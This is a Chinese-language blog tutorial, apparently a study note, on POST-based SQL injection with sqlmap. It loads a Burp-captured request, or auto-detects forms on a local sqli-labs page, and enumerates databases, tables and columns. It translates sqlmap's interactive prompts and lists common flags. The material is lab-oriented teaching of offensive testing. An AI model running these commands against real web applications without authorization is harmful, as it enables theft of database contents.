06.2SQL注入之sqlmap使用(post注入)
本文最后更新于522 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

SQL注入之sqlmap使用(post注入)

POST型:与数据库交互是通过post数据进行,URL不可见

利用sqlmap进行POST注入,常见的有三种方法:

注入方式一:

1.用Burp抓包,然后保存抓取到的内容。(随便输入)例如:保存为1.txt,然后把它放至某个目录下

Pasted image 20241103193746.png

image.png

2.列数据库:

sqlmap -r D:\cc.txt –dbs

也可以使用 * 指定需要测试的参数
Pasted image 20241103193857.png

Pasted image 20241103194017.png

Pasted image 20241103194031.png

it looks like the back-end DBMS is ‘MySQL’. Do you want to skip test payloads specific for other DBMSes? [Y/n]
它看起来像后端DBMS是’MySQL’。 是否要跳过特定于其他DBMS的测试负载? [Y/n] 输入"Y"

for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n]
对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗? [Y/n] 输入"N"

POST parameter ‘n’ is vulnerable. Do you want to keep testing the others (if any)? [y/N]
POST参数’n’是脆弱的。 你想继续测试其他人(如果有的话)吗?[y/N] 输入"Y"

3.查表

选择一个数据库,比如选test

sqlmap -r D:\cc.txt -D mamba –tables

Pasted image 20241103194322.png

Pasted image 20241103194338.png

4.查列

sqlmap -r D:\cc.txt -D mamba -T user –columns

Pasted image 20241103195731.png

注入方式二:自动搜索表单的方式

sqlmap.py -u "http://localhost/sqli-labs-master/Less-11/index.php" –forms

image.png

do you want to test this form? [Y/n/q]
要测试此表单吗?[Y/n/q] 输入"Y"

do you want to fill blank fields with random values? [Y/n]
是否要填充带有随机值的空白字段? [Y/n] 输入"Y"

it looks like the back-end DBMS is ‘MySQL’. Do you want to skip test payloads specific for other DBMSes? [Y/n]
它看起来像后端DBMS是’MySQL’。 是否要跳过特定于其他DBMS的测试负载? [Y/n] 输入"Y"

for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n]
对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗?[Y/n] 输入"N"

POST parameter ‘n’ is vulnerable. Do you want to keep testing the others (if any)? [y/N]
POST参数’n’是脆弱的。 你想继续测试其他人(如果有的话)吗?[y/N] 输入"N"

do you want to exploit this SQL injection? [Y/n]
你想利用SQL注入? 输入"Y"

Pasted image 20241103191941.png

Pasted image 20241103192007.png

遇到有输入框(post请求)时可以用bp抓包

Pasted image 20241103193444.png

常用命令:

-r表示加载一个文件,-p指定参数
--current-db 当前数据库
--forms 自动检测表单
-data   
文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇